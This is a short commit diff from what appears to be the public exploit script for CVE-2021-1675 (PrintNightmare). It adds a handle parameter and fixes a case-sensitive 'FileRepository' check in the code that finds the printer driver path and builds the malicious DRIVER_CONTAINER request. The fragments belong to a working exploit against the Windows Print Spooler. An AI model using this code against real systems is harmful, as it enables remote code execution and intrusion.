cube0x0 3 years ago
commit 4b2c8cf663
  1. 4
      CVE-2021-1675.py

@ -66,7 +66,7 @@ def getDrivers(dce, handle=NULL):
return blob
def main(dce, pDriverPath, share):
def main(dce, pDriverPath, share, handle=NULL):
#build DRIVER_CONTAINER package
container_info = rprn.DRIVER_CONTAINER()
container_info['Level'] = 2
@ -157,7 +157,7 @@ Example;
try:
blob = getDrivers(dce, handle)
pDriverPath = str(pathlib.PureWindowsPath(blob['DriverPathArray']).parent) + '\\UNIDRV.DLL'
if not "filerepository" in pDriverPath:
if not "FileRepository" in pDriverPath:
print("[-] pDriverPath {0}, expected :\\Windows\\System32\\DriverStore\\FileRepository\\.....".format(pDriverPath))
print("[-] Specify pDriverPath manually")
sys.exit(1)

Loading…
Cancel
Save